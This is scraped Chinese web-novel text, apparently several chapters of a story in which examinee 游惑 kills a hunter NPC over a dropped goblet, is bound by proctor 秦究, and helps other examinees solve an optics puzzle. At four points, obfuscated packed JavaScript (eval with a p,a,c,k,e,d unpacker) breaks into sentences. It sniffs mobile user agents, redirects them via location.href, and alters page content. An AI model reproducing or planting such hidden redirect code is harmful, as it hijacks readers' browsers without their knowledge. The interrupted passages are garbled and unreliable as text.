那上面,答题要求后面就跟着一句话——不得损坏餐具。 原本他们以为这道题的死亡人数是1,万万没想到后面还跟了个陷阱。 · 秃头和猎人甲把13个餐盘端出来,沿着长桌放了一圈,又把盛着肉的玻璃盆放在桌子正中间。 搁下最后一个餐盘的时候,秃头长长地松了一口气,顺着桌沿滑下来,两股战战地瘫坐在椅子上。 “别!” 有人惊叫了一声。 秃头愣了一下,看向人群。 就见老于挤眉弄眼地指了指答题墙。 秃头慌忙看过去。 · 之前题目更新的时候,秃头刚从禁闭室回来,从头至尾一直瘫在墙角发癫,根本不知道变动。 他看见那句“只能宴请12个人,有一个人注定死去”,脸色刷地就白了。 谁知道他坐的位置是不是要死的那个? 秃头挣扎着要起来,一双大手重重摁在他的肩膀上。 猎人甲凑在他耳边说:“你已经选好座位了,不可以再换,站起来也没用,算了吧。” 一句“算了吧”,把秃头当场算晕了。 他陷在椅子里,再没动弹过。 · 猎人甲有点遗憾:“哎……怎么就晕了呢?这才刚把肉端上来而已,还有酒呢。” 饭都还没吃,先倒下去一个。 猎人甲那双瘆人的眼睛又瞄向了其他人。 “我还需要一个人,来帮我拿一下酒杯。”他又笨拙地走向众人,嘴里咕咕哝哝:“谁呢?我喜欢孩子,挑个孩子吧……” 他说着,眼珠滴溜转了一圈,目光落在了于闻身上。 于闻瞬间没了气。 猎人甲笑着抬起手。 “就你吧——” 话音刚落,游惑一声不吭,横插在了于闻面前。 “——孩子” 猎人甲刚伸直的手指,不偏不倚正指着他。 大白脸瞬间僵硬。 游惑凉凉地看着他,“我?可以。” 猎人甲:“……” 可以个屁。 他看上去有一点点生气。 游惑又说:“反悔了?” 猎人甲缩回手指,皮笑肉不笑地抽了一下,说:“不会,怎么会。作为主人,当然要说话算话。” 他嫌弃了片刻,还是招了招手:“来吧,好心的客人。” 说的是“来吧”。 听着像“你怎么不去死”。 猎人甲转身往厨房走去。 游惑眼也不抬,就要跟过去。 于闻吓了一跳,急忙拽住他,低声喝道:“哥!你干嘛!” 游惑瞥了他一眼:“端酒。” “你没听他说啊!不小心摔一个杯子,那是要死的!”于闻急道。 游惑:“……我是偏瘫还是麻痹?端个杯子都能碎?” 于闻:“……” 话是这么说没错,但是…… 他总觉得他哥什么都干得出来。 “你先告诉我,你干嘛要主动端杯子。”于闻不依不饶。 游惑朝答题墙抬了抬下巴,把袖子从于闻手里拽出来,说:“看见答题要求了么?” “当然啊,我又不瞎。” 游惑不咸不淡地说:“那教你一件事。” “什么?” “越是强调,越是有鬼。” 说完游惑便走了。 于闻在原地愣了半晌,猛地看向他爸:“我哥他什么意思???我怎么这么慌?!” 老于更慌。 · 游惑来到厨房。 猎人甲正在腰间掏钥匙。 黄铜圆环上一共栓了7把钥匙,他从中挑出三把来,依次打开红木柜右边的门,慢吞吞地从里面拿出了13只高脚杯,在案台上又排成行。 游惑随手拿了一只起来翻看。 乍一看就是普通的高脚杯,没发现什么特别。 猎人甲皱着眉发脾气:“放下!我让你碰了吗!你这位客人怎么一点儿规矩都不懂?” 游惑嗤了一声,把杯子搁回案台。 他越过门,朝客厅的钟看了一眼,冷声催促:“以你的速度,一天的时间够两顿?” 猎人甲:“……” 他瞪了游惑一眼,低声咒骂了几句,又勉强挤出一个笑:“没关系,没关系。大度的主人总能容忍客人出言不逊,我知道你是太饿了。” 游惑冷笑一声。 猎人甲:“……” 他可能头一回碰到这么刚的客人,顿时不想再说话,扭头准备他的美酒去了。 趁着猎人鼓捣酒杯,游惑扶着木柜门,把柜子里的东西扫了个遍。 除了已经布置好的瓷盘,还有正在准备的高脚杯,柜子里只剩下银质的酱汁小盅,一捆刀叉和一捆银勺。 “好了!”猎人甲突然出声,“偷看是不礼貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730158|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行为。” 游惑没搭理。 猎人甲又说:“帮我把刀叉银匙一起拿出来,谢谢。’ 游惑瞥了一眼他的表情,把柜子里的东西掏给了他。 · 猎人甲小心地把钥匙挂回腰间,又摸出圆形的托盘,把高脚杯一一放上去。 游惑说:“我发现一件事。” 猎人甲动作一顿,大白脸盘子警惕地看着他:“什么?” 游惑:“你对高脚杯格外小心。” 猎人甲:“……” 他沉默了片刻,又辩解道:“你看错了,用餐是一件神圣的事情,我对每一样餐具都很虔诚。” 游惑“嗯”了一声。 猎人甲依然警惕地看着他。 游惑:“我刚才胡诌的。” 猎人甲:“……” · 客厅里,于闻正为他哥牵肠挂肚,生怕游惑天不怕地不怕,把厨房餐具悉数捣毁。 结果就听猎人甲一声怒气冲冲的:“滚!” 游惑面无表情出来了,两手空空。 “什么情况?” 众人俱是一愣。 “杯子呢?”于闻比划着,“不是让你端杯子去吗?怎么被轰出来了?” 游惑没有回到人群里,而是插着口袋站在餐桌附近:“他改主意了,打算自己端。” 众人惊疑不定,总觉得惹怒猎人甲不是什么好事。 人家是题目啊! 谁知道能干出什么事来?万一张口就能说死一个人呢? 就在大家面面相觑的时候,猎人甲自己端着一个大托盘出来了。 上面放满了高脚杯和刀叉。 猎人甲把游惑轰开一些,自己一套一套地摆放起来。 不知为什么,游惑就那么站在一旁看,好像摆放餐具是个多值得观赏的事一样。 · 于闻快要急死了,他用夸张的口型招游惑:“哥!哥你先过来啊!站那儿干嘛呀!” 游惑却像是没看见一样,一直垂着眼,懒懒地看着猎人甲。 “滚开!”猎人甲毫不客气地冲游惑骂。 骂完,他又转头对众人露出一个笑:“怎么傻站着?快来坐啊,我们就要开饭了。” 他说着,似乎有点饿,便自顾自地停下来,伸手从玻璃盆里抓了一块生肉。 众人眼睁睁看着他嘴巴张得像个黑洞,把整块肉吞了进去,连骨头带渣地嚼着。就像他之前描述的那样,发出嘎吱嘎吱的声音。 两个老太太一屁股坐在了地上。 屋里恐慌感更重了。 · 猎人甲吃完,舔了一下自己的嘴唇,又轻声细语地说:“啊,失礼了。” 他指着游惑责怪道:“都是这个莽撞的客人,让我有一点生气。我这人有个毛病,一生气肚子就会饿。” 他眼珠又转了一圈,数了数盆中的肉块,说:“怎么办,我不小心吃了一份,只剩11份了。” 众人一愣,死死盯着他。 猎人甲端起最后一个高脚杯,笑着说:“那只能委屈你们……再死一位了?” 众人脸上瞬间没了血色。 一片死寂中,一个冷调的声音突然响起来:“这不合规定吧?” 说话的不是别人,正是游惑。 猎人甲一愣,想要转过头去看他,但因为身子不协调,又扭成了一个怪异的姿势。 “又是你!” 猎人甲皱着眉,正要发怒。 游惑突然抬起长腿,对着他就是一脚。 一瞬间,天旋地转。 接着就听“啪”的一声,他那张大白脸就摔到了地上,跟他一起摔下来的,还有他手里的那只高脚杯。 “……” 猎人甲盯着杯子碎片茫然了两秒,眼睛陡然瞪大,满是惊恐。 · 屋子里没有人敢动。 所有人都维持着某个姿势僵在那里,目瞪口呆。 紧接着,让人心惊肉跳的半夜鸡叫又来了! 四个多小时没动静的答题墙上,又多出来一句话。 违规警告:违反考试要求,已通知监考。 监考官:001、154、922. 众人:“……” 于闻瞪着答题墙,傻了半天,突然有点心疼监考官。 · 树林深处的小洋楼里,922抓着一张通知单跑进了办公室。 “老大……” 秦究皱起了眉,第一反应是去看钟。 “别看了,刚送回去一小时。”154一脸木然。 秦究短促地笑了一声,不知喜怒:“这回又是什么?抢着答题?” 154摇了摇头:“不是,比这个严重一点。他搞死了题目。” 秦究:“搞死了什么?” 154面无表情地说:“您没听错,题目本人死了。” 秦究:“……” 跟上来的922一脸懵逼:“题目还他妈能死?怎么搞的?” 8. 回礼 挂在门上的公鸡又一次扭转脖子,盯着窗外叫。 三位监考官披雪而来,一进门便寒气扑面。 熟悉的场景,熟悉的人。 屋子里的老弱病残们脸都木了。 154脸更木:“我们又收到了违规通知。” 他摸出了一张纸条,说:“通知上说,某位考生——” “某位看着乖巧但屡教不改的考生。”秦究一边摘手套,一边戏谑地补充着。 154难以置信地看着他。 “有问题?”秦究挑起眉。 154:“……没有。” 他就是纳闷,得多瞎的眼睛,才能在游惑身上看出“乖巧”来? 但乱补充的人是老大,他只能任其放屁。 游惑抱着胳膊倚墙而立,冷冷睨了秦究一眼。 秦究却唇角带笑,隔着橙黄的炉火和灯光,点头回礼。 动作是真的绅士,气质也是真的嘲讽。 154生怕某监考官和某考生当场打出血,连忙绷着脸说:“——某位考生违规答题,致使该题中的主干部分——” 922:“就是猎人甲。” 154:“……当场身亡。这种情况目前比较罕见——” 922:“闻所未闻。” 154:“……我们需要做个询问调查,希望你们解释一下。” 922:“主要指个别考生。” 154闭了一下眼。 老大成天拉仇恨,同事脑子有问题。 他缓了一下,面无表情地把纸条收起来。对众人说:“猎人甲在哪里?” 屋里的考生们让到两边,露出长餐桌,桌脚边躺着一大团抹布。 监考官走到近处仔细分辨,才发现那不是抹布,而是一件黑色长袄,袄子上裹着破旧发霉的斗篷,边缘是黑熊皮毛,散发着陈旧难闻的酸腐味。 倒了血霉的猎人甲大脸朝下,直挺挺地硬在这团衣服里。 本着监考官的职业道德,922给猎人甲翻了个身。 活着的猎人甲皮肤就一片惨白,死去之后更泛着青灰。他的脸侧向一边,双目圆瞪,还保持着难以置信的惊吓表情,嘴巴像裂开的洞,唇舌鲜红。 922一本正经后撤一步,趁着没人看见,手指在154的大衣背后上擦了擦。 154:“……” 他克制住翻白眼的冲动,弯腰查看。 猎人甲粗大的手指中还捏着一截玻璃杯脚,杯子的其他部分已经在地板上碎裂成渣。 接到的违规通知显示,这位猎人甲说:“屋子里所有人,谁摔坏了餐具,谁就会受到严厉处罚。” 这和考试要求完全一致,本是说给考生听的。 谁知刚说完没多久,他自己就摔了一个,死得比谁都快。 虽然知道大致过程,154还是公事公办地向游惑确认道:“你踹的?” 游惑垂眼看着他,懒叽叽地开了口:“腿麻没站稳,踉跄了一下。” 众人:“……” 神他妈踉跄一下。 154:“这个理由是不是略有一点敷衍?” 游惑:“餐具不能损坏我规定的?” 154:“那倒不是” 游惑:“这肢体不协调的甲你们生的?” 154:“……” 对方又冷又嘲讽,监考官154感觉有点顶不住。他转头想找更嘲讽的人来救场,却发现旁边只有922,他们老大根本没来查看尸体。 见监考官愣神,于闻壮着胆子问:“呃……杯子是猎人甲摔的,死也是他自己凭本事死的,您能不能不算我哥违规?” 滴滴滴—— 154还没张口,屋里便响起三声违违规提示。 同时警告三位监考官,这还是第一次。 屋里众人没听见过这种声音,有点不明所以。 于闻四处找来源,警惕地问:“又怎么了?” 922安抚说:“别紧张,只是考试系统催我们赶紧处罚。” 众人沉默片刻,更紧张了。 又有人出声说:“那……能不能让我替他受罚?” 众人扭头看去,说话的是于遥。 她举着细白的手,就像课堂上的学生企图引起老师注意。近看可以发现,她的手正在发抖,但眼神却很坚持。 可惜,被监考官直接略过了。 · 系统又催了两回。 两位监考官穿过人群,走到游惑身边。 其他人想跟过来,又犹犹豫豫不太敢。 尤其154走到半路还扫了他们一眼,想动的人就都钉在原地了。 对着游惑,922说话就没那么正经了,他仗着其他考生听不见,便满嘴胡言:“不是我们想跟你过不去,不瞒你说,收到违规通知单的时候,154踩空一节楼梯,我牛肉掉脚上了,老大逗鸟呢,差点儿把鸟头拧断。我们都不想处罚你,真的,那是折磨谁呢——你别冷笑,我发现你对我们老大特别有意见。” 游惑的视线在秦究身上一扫而过,又倏地收回来,好像看一下眼睛都痛。 922摇头说:“你胆子是真的肥。” 游大佬不为所动。 922又说:“人家答答题墙上明明确确写着规定,不能损坏餐具。是,你确实没直接捧着杯子摔。真要那样干了,现在硬在地上的就是你自己。但要说杯子摔了题目死了,你却屁事没有……我是系统我都气。” “间接原因也是原因。”922摸了摸自己的脖颈。 之前系统发出警告提示的时候,他的那点红光就藏在发尾里。 922停了一下,对游惑说:“这已经是系统公平衡量的结果了。” · 游惑直起身。 “你要干什么?”154警惕地问。 游惑的身高目测在185左右,比154高了一截,跟922其实差不多。但当他站直身体,目光投过来的时候,总会给人一种居高临下的感觉,连922都不例外。 游惑轻飘飘地扫了他们一眼:“我有说过拒绝处罚么?” 922:“那你抱着胳膊在这里拗什么造型?” 游惑动了动嘴唇:“出于礼貌,让你们把话说完。” 两位监考官:“……” 要有枪,他们就开了。 · 游惑抬脚就走。 穿过人群的时候,老于一把抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦究冲他比了个“请”的手势,绅士得简直讨打:“没开玩笑,离考试正常结束还有——” 他从大衣口袋里掏出一个手机,半真不假地看了一眼:“——36小时又24分钟,这意味着我们要同室共处一天半。我们连行李都带来了,就在门口,你不妨开门看一看?” 游惑打开门,朝外看了一眼。 门边,两个行李箱整整齐齐立在那。 游惑:“……” 36小时又24分钟…… 这就不是睡一觉的事了……这得他妈得长眠。 而且带行李箱是要恶心谁??? “哦对,我还想提醒你们一句。”秦究的嗓音又响起来,“距离第二次收卷还有24分钟,马上就要变成23了。按照规定,违规考生这段时间里无权答题。为了防止某些屡教不改的先生强行犯规,我只能干点失礼的事了……” 秦究说着,手里的皮绳已经绕好了圈,顺势往游惑左手一套。 他抓着游惑的肩膀将他转了个身,把右手也套了进来,然后猛地一抽。 啪—— 绳套瞬间成结,死死扣住了游惑的手。 秦究站在他背后,扶着他的肩膀低头说:“这是那只脏桶的回礼,喜欢么?” 游大佬喜欢得快要炸了。 9. 砍头庆祝 阁楼不高,一根木柱竖在正中央,像伞柄一样撑住屋顶。 不大的空间里塞了一张四柱床,床单被褥几百年没洗过,帷幔破烂不堪,散发着一股难闻的酸味。 秦究用手套抵着鼻尖,四下扫量。 “我想想,把你放在哪里比较好。”他轻声说。 他个头比游惑还要再高一点,站直就会撞屋顶,只能全程低着头。 “床上?床柱刚好可以固定绳子。宽度肯定是够的,就是短了点。” 秦究摇了摇床柱,想试试坚固程度。结果一转头,就看见了游惑的“同归于尽”脸。 要是于闻或老于看见游惑这副表情,肯定撒腿就跑,但秦究却笑了。 他低沉的笑声闷在嗓子里,说:“好吧,确实不那么干净,柱子也有点细,很大概率拴不住……这里地方不大,你希望呢?” 游惑冷着脸,不打算理他。 谁知秦究也不急,就那么等着。 游惑被看了一会儿,终于不耐烦地说:“我希望你能自己躺到那张香喷喷的床上,把绳子套在自己的脖子上,再把另一头交给我,而我只要伸手一抽就彻底清静了,可以么?” 秦究眯了一下眼睛。 有那么一瞬,游惑以为他一定不高兴了。谁知他又笑了一声,说:“恐怕不太可以,我没有那种爱好。” 游惑:“……” 神经病。 · 神经病还有残留的人性,没有真的把游惑安置在猎人的床上。 游惑坐在地板上,两手背在身后,被捆在那根支撑屋顶的柱子上。 秦究绕过他去开窗。 阁楼的窗户非常小,不比巴掌大多少。但寒冷的空气灌进来,还是冲散了那股难闻的酸味。 秦究:“冷么?” 这话简直就是放屁,大雪天穿T恤,不冷难道热么? 但比起冷,游惑更受不了那股馊味。 他略过秦究的问话,皱着眉说:“能不能让我站着?” “不能。” “……” 游惑冷冷地瞪着他。 秦究回到床边,坐靠在木质小圆桌上,跟游惑面对面:“你腿太长,搞不好会冲我踉跄一下。还是坐着比较稳。” 游惑:“……” 稳你妈。 接连气两回,游惑转头看向右侧,懒得再搭理他。 右边,本该是墙的地方蒙着一块玻璃。从游惑的角度,可以透过玻璃看到楼下半个客厅,考生们或站或坐地呆在那里。 没了游惑,那帮老弱病残孕就成了无头苍蝇,搓着手打转,不知所措。 · 于闻抓着刀,在答题墙边垂死挣扎。 他打算把自己毕生所学的物理公式全写上去,不管跟光学有没有关系。结果绞尽脑汁却发现,毕生所学只够他写五分钟。 书到用时方恨少。 于闻活了18年,第一次想到这句话,哪里都痛。 “还有么?你们谁还记得点东西?”他转头向身后的人求助。 于遥面露愧色:“我高中还是学理化的呢,大学转了文,又工作这么多年……就墙上那些,你不写我都想不起来了。” 于闻小狗一样看着她:“姐你再想想,随便什么,啥补充都行!” 他万幸长得像妈,虽然跟游惑差得远,但放在学校也能算颗草。 于遥活生生被看出母爱,犹豫着说:“就记得个折射示意图,最最最简单那种,画出来你别笑我。” “不笑!谁笑我砍谁,真的。” 这胡说八道的誓发得太凶,于遥懵着脸缩了一下,这才扶着肚子挪过去,拿着刀划了个弧线,又画了两道折射光。 于闻“唔”了一声,心说真的简单。但就这,他都没想起来。 “还有谁?” 于闻像个歇斯底里的传销员,目光一一扫过剩下的人。 俩老太太……算了,物理是啥都不一定知道。 纹身男和病竹竿已经心虚地低下了头。 秃头又晕又尿的,不疯就不错了。 还有一个老头带对双胞胎孙女,老头耳背还有点老年痴呆,孙女估计上小学……用物理虐待儿童,于闻下不去手。 老外Mike就会两句话——“尼嚎”和“尼朔什莫”,屁用没有。 老于……老于就知道酒。 于闻终于体会到了他哥的绝望。 · 922把行李往屋里搬,看到他呆立在炉膛前,问道:“我建议你离火远一点,别题没答,先烧死了。” 于闻破罐子破摔地想:算了,烧炭吧,死得红一点。 他抬头朝阁楼看过去。 玻璃年代久,磨得太花,阁楼里灯光又暗。也不知道那个001监考官会把他哥怎么样?他哥会不会就看着这里,看着他们手足无措,然后失望地觉得他是个废物…… “还有5分钟。”922提醒了一句。 众人慌得不行。 · 这破屋子能住人的地方有限,能坐人的地方同样有限。 餐桌上都摆着餐具,其中某一套代表着死亡,椅子根本不能乱坐。 922拎着行李箱转了一圈,还是挤着154坐在了沙发上。 154纳闷地低声问:“老大不是在阁楼?” 922:“我知道。” 154:“那你把行李箱放这里干什么?等他自己搬上去?” 922:“两个不好惹的都在上面,我暂时不太想上去。” 154:“……” 出息。 922努了努嘴:“白我干什么,要不你去?” 154正襟危坐看着考生:“我监考。” “让你监督这些了么?最该监督的人就在楼上。” “有老大就够了。” 922:“……” 154:“……” 两位监考官相对无言。 最终还是922感叹了一句:“我监考三年了……不对,不止监考,哪怕算上我自己考试那会儿,都没见过这种无法无天的考生。” 他以为154会附和点头,谁知对方想了一会儿,说:“你见过的。” 922一愣:“啊???谁?什么时候?” 154朝阁楼方向抬了抬下巴。 922茫然片刻才猛地反应过来……对啊,他怎么忘了呢!上一个这样难搞的考生,后来成了监考官001号。 秦究当年难搞到什么程度呢?传说差点儿把考试系统气瓦解。 “说起来,我一直想哪天胆子肥一点,问问老大以前的壮举。”922说,“毕竟我只见到过两次。” 154连忙制止:“开什么玩笑?你别乱来!” 922不解:“干嘛?问都不能问?我发现我每次提老大以前,你都要打断我。” “我那是怕你死得太快。”154板着脸说:“以前的事情老大自己都不记得,据说是考试系统出过一次意外,误伤到他,就忘了一些。” 922呆住了:“还有这种事?我怎么不知道?” 154面无表情:“因为你只知道吃。” 922目瞪口呆地坐在那里。 154又补充说:“你没发现他自己根本不提以前的事么?我刚当监考的时候作过一次死……反正,我不想再经历一次,你也肯定不想,所以求你自重。” · 阁楼里,唯一的一盏灯没有点亮。 空间不大,楼下的光穿过活板门和玻璃投映进来,足以给人或物镀一层毛茸茸的边。 窗外的雪依然很大,呼啸着拍打而过。 游惑始终看着楼下,好像沉默无奈,又好像并不着急。他的眼珠蒙着一层清透亮光,耳钉偶尔会在某个角度晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730160|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下眼。 秦究看了他一会儿,忽然嗓音沉懒地开了口:“我是不是见过你?” 过了片刻,游惑才转过头来看向他,浅棕色的眼睛像冬夜寒泊。 “没有。如果真见过,恐怕只能活一个。” 游惑的声音凉丝丝的,带着嘲讽。 “是么?”秦究顶了一下腮帮,似乎真的考虑了片刻,然后赞同道:“有点遗憾,不过,好像确实是这样。” 说话间,阁楼的梯子吱呀吱呀响起来。 154的声音传过来:“老大,时间马上就要到了。” 922的低声嘀咕也传了进来,他似乎跟在154身后:“上面还好吧?我怎么这么慌。” 154悄声喝止:“你闭嘴吧。” “老大。”154先探进头来,“你们要下去吗?要收卷了。” 秦究问:“答得怎么样了?我看有位小鬼奋笔疾书,没停过笔。” 922人未至,声先到:“没用的,具体写了些什么我是没细看,但大概扫一眼也知道,答成那样要是能拿分,我砍头庆祝。” 154:“……” · 橱柜顶上是个老式钟,秒针每走一格都会发出声响。平时没人在意,这时候就清晰得令人心焦。 它滴答滴答响了几下,收卷的鸡就叫起来了。 三位监考踩着这种令人心慌的声音下楼,为了防止违规,愣是等到9声叫完,才给游惑松了绑。 众人像竹笼里新下的鸡崽子,挑了个离大门最远的角落拥挤在一起。好像这样,不得分就不会被轰出考场一样。 几乎所有考生都闭上了眼,等着审判到来。 一等就等了一分钟。 922:“……别是字太多,系统卡机了吧?” 这位监考话音刚落,答题墙就有了变化。长篇大论洋洋洒洒的答案里,有两处多了个血红色的圈。 于闻从手指缝里看出去。 其中一处,就是他写上去的:折射率。 而另一处,则是于遥最后关头补充的:那张极为简易的折射示意图。 在两个红圈旁边,冒出了两个数字: 1 2 众人看着数字,还没反应过来。 答题墙又有了变化,所有没能加分的废弃答案都消失了。空出来的部分多出一行红色的字: 加分点:13个人中1人死亡,答成题目要求,6。 附加:考生全部幸存,2。 本次评卷共计:11分。 小屋里安静了半晌,紧接着于闻一声嚎叫:“操!!!!加11分!我还以为我们死定了!结果居然加了11分!” “哥!!!我拿了一分呢看到没!!!” 922在这位考生震耳欲聋的声音中,目瞪口呆地问154:“系统疯了吧!搞死题目还他妈有附加分呐?!” 见154也很懵逼,他又转头瞪向游惑。 这位被捆了20多分钟的大佬,靠一只脚独得8分。 游惑冷眼欣赏了一番他的表情,冲他伸出好看的手说:“头拿来庆祝一下。” 922:“……” 系统算出总分后,可能也觉得自己疯了。 憋了半天又憋出一行字: 卷面-2。 共计那边跳了一下,从11分变成了9。 奋笔疾书的于闻同学,先1,后-2,共计负一分。 可喜可贺。 就在小屋里,考生和监考都疯了的时候,答题墙上的题又变了模样: 题干:猎人的小屋里只剩下12位客人和12套餐具,一人一份,再不会有争抢。但餐具里的秘密依然还在,它就藏在光的下面。坐在阴谋面前的人将面临诅咒,那个人会是你吗? 要求:找到那套特殊的餐具(但不可损坏餐具) 考察知识点:光学。 10. 高脚杯 题目更新完毕,众人正发愣,屋里突然响起一阵的声音…… 就像尖锐的指甲划过木板。 “谁、谁啊?” 大家被弄得寒毛直立,四下寻找声音来源。 这种恐怖环境里,没人愿意落单,谁也不肯脱离人群去找,只能勾着脖子乱看。 直到有人突然崩溃哭叫:“在后面、后面!就在我背后!救命……” 哭叫的人是秃头。 他是唯一一个没有去答题墙前凑热闹的人。 从头到尾,他都孤零零地呆在餐桌旁,活像脖子以下全瘫似的,窝缩在他选中的座位里。 秃头之前被猎人甲吓晕过,现在又被刮划声吓醒了。 他涕泪横流,惊慌地叫:“就在我背后,帮帮忙!救我,救我啊!” “可是你背后没有人啊……”于遥轻声说。 “对啊,没有人……” 秃头一听这话,哭得更凶了。 大家也不太敢靠近,只能拼命冲秃头招手说:“你别瘫着不动啊!你先过来再说!快过来!” “我动不了啊!这椅子……我动不了,它拽着我!”秃头慌得语无伦次。 “你是说,这椅子坐上去就走不了?” “对,走不了……它要我死,要我死啊!”秃头哭着说。 众人吓得离餐桌八丈远,游惑却独自朝那边走去。 “哥?”于闻叫了一声。 他本打算拽住游惑不让对方冒险,但想想他哥的表现,再想想他自己那个骚气绝顶的负一分,决定还是跟着游惑。 他们绕到秃头身后,终于知道了声音来源—— 秃头那张椅子背后,木屑扑簌下落,就像一只无形的手在刮椅子的表皮,露出浅色的芯。 于闻:“它在写字?!” 游惑“嗯”了一声。 这位大佬对“鬼”的耐心比对人好,就那么抱着胳膊等在一旁。 屋里的考生们迟疑片刻,匆匆跟过去,缩在游惑身后。 “12!它写的是12!”纹身男叫道。 紧接着,旁边一张椅子也响起了指甲抓挠的声音。 游惑朝那边走了两步,一大群人呼啦跟过去。他停住脚步,一大群人又乌泱泱地来了个急刹车 “……” 游惑怀疑他们考的不是物理,是鬼捉鸡。 · 指甲抓挠的声音持续了五分钟,餐桌旁的每个座位便多了编号。 1到12,一一对应,作用也一目了然。 如果找到那套餐具,只要把编号写在答题墙上就行。 于闻猜测说:“我跟于遥姐的答案被圈出来加了分,都是跟折射有关的。那是不是就代表……想要找到那套餐具,需要用到折射?” “应该就是了。”大家七嘴八舌地应着声,“可是,折射是啥?” 于闻:“……” 他凝固的样子太好笑,于遥没忍住,噗嗤一声。 她总是在哭,脆弱又哀怨。这是她第一次有了哭以外的表情,连她自己都愣了一下。 她在原地怔了片刻,忽然走回到人群里,耐着性子给几位老人解释“折射”的意思。 于闻从凝固里解冻,一抬头就发现游惑在出神。 “哥……”于闻悄悄挪到他身边。 他顺着游惑的目光看过去,那边既有凑堆的老人,又有破沙发,沙发上还坐着阴魂不散的三位监考。 这智障耳语说:“你看监考干什么?” 游惑闻言收回目光,居高临下改看他。 于闻缩回脖子,讪讪地说:“算了算了,随便看,我不问了。” · 虽然熬过一次收卷,又赢得了6个小时的时间,但没有人觉得宽裕。 大家像鉴宝一样盯着桌上的餐具。 “这盘子能碰吗?”纹身男咕哝了一句,“要是拿起来看一眼,会不会算我选了座位?” “最好还是别碰吧,死——” 老于话没说完,游惑就拿起了一只高脚杯。 老于:“——是不可能的!” 纹身男翻了个天大的白眼。 众人惊疑不定地盯着游惑,见他好好站着,没被强行摁在椅子上,这才放了心,纷纷拿起餐具查看起来。 “你胆子怎么这么大!”毕竟是外甥,老于匆匆过来问游惑,“万一拿杯子也算呢?!” 游惑又拿起第二个杯子:“不会,我在厨房就拿过一个。” 老于:“……” 你还挺骄傲? 老于被外甥气出血,又出于害怕不敢训,只能在游惑看不到的角度干瞪眼。 “爸你让一让。” 于闻越过老于,去够了一柄银勺。没看出名堂,又换了一柄银叉。 这些乍一看都是最寻常的东西,盘子是白瓷的,连个花纹都没有,银勺银叉也简陋的很。 就在他换了个酱汁盅的时候,他终于发现,他哥根本不碰别的东西。 “哥,你怎么只看杯子?”于闻忍不住问了一句。 “别的没必要。”游惑放下第三个杯子就不再看了,直接离开了餐桌。 “没必要?”于闻愣住 在他愣神的功夫里,纹身男这个急脾气已经看了大半圈。他烦躁地抱怨道:“这些破玩意儿什么也没有,藏个鸟的秘密!” 另一个人也丧气地说:“题目越说越玄乎,连个提示都没有,怎么找?” · 游惑半蹲在猎人甲的尸体边,拿起一块玻璃碎片翻看。 对他而言,题目透露的线索已经不少了。 之前在厨房,他就耍过猎人甲,发现对方格外在意这些高脚杯。而当猎人甲摔了一个杯子后,题目就说“只剩下12套餐具”。 这就意味着,对于题目而言,一套餐具中实际有效的东西,只有那只玻璃高脚杯。 所以,所谓的秘密一定藏在杯子里。 于闻盯着答题墙愣了一会儿,突然一拍大腿,蹦起来:“噢——哥我明白了!其他都是废的!只有杯子是餐具!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730161|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人拿着盘子、叉子、勺子傻在那里。 于闻挥着手发动群众:“别看那些了,就看杯子!” 他发射过来,在猎人甲身边急刹车,一屁股坐在地上要表扬:“我是不是还挺聪明的!” 游惑敷衍地哼了一声。 · 不过,兴奋并没有持续太久。 没过片刻,众人又垂头丧气起来。 他们看完了每一个杯子,试过呵气,试过捂热,试过摇晃。正过来、倒过去看了个遍,也没找到蹊跷。 沙发上。 922捏着手指关节说:“我有一点急,还有一点饿。全程监考这么熬人的吗?” 154说:“忍着,早呢,还有36个小时。” 922一脸绝望。 秦究支着头,目光越过长桌落在某一角。 那里,游惑正背对这边翻看摔碎的高脚杯,肩胛骨和脊背绷出好看的弧度。 他垂着双眸看了很久,忽然说:“你们以前有没有见过他?” 154一愣:“谁?” 922更懵:“啊?” 这个反应就足以说明一切了。 秦究静了片刻,懒洋洋地说:“没谁,你们要真饿了就去厨房弄点吃的。” 154和922往厨房看了一眼,木着脸说:“一点也不饿。” 又过了几秒,922搓着手站起来说:“唔……我去厨房转一转。” 154服了:“……那种厨房你也下得去手?” 922说:“我就看看。” 他走开之后,154又盯着考生看了一会儿,忽然福至心灵地明白了秦究刚刚的问话。他看了游惑一眼,又犹豫着看秦究。 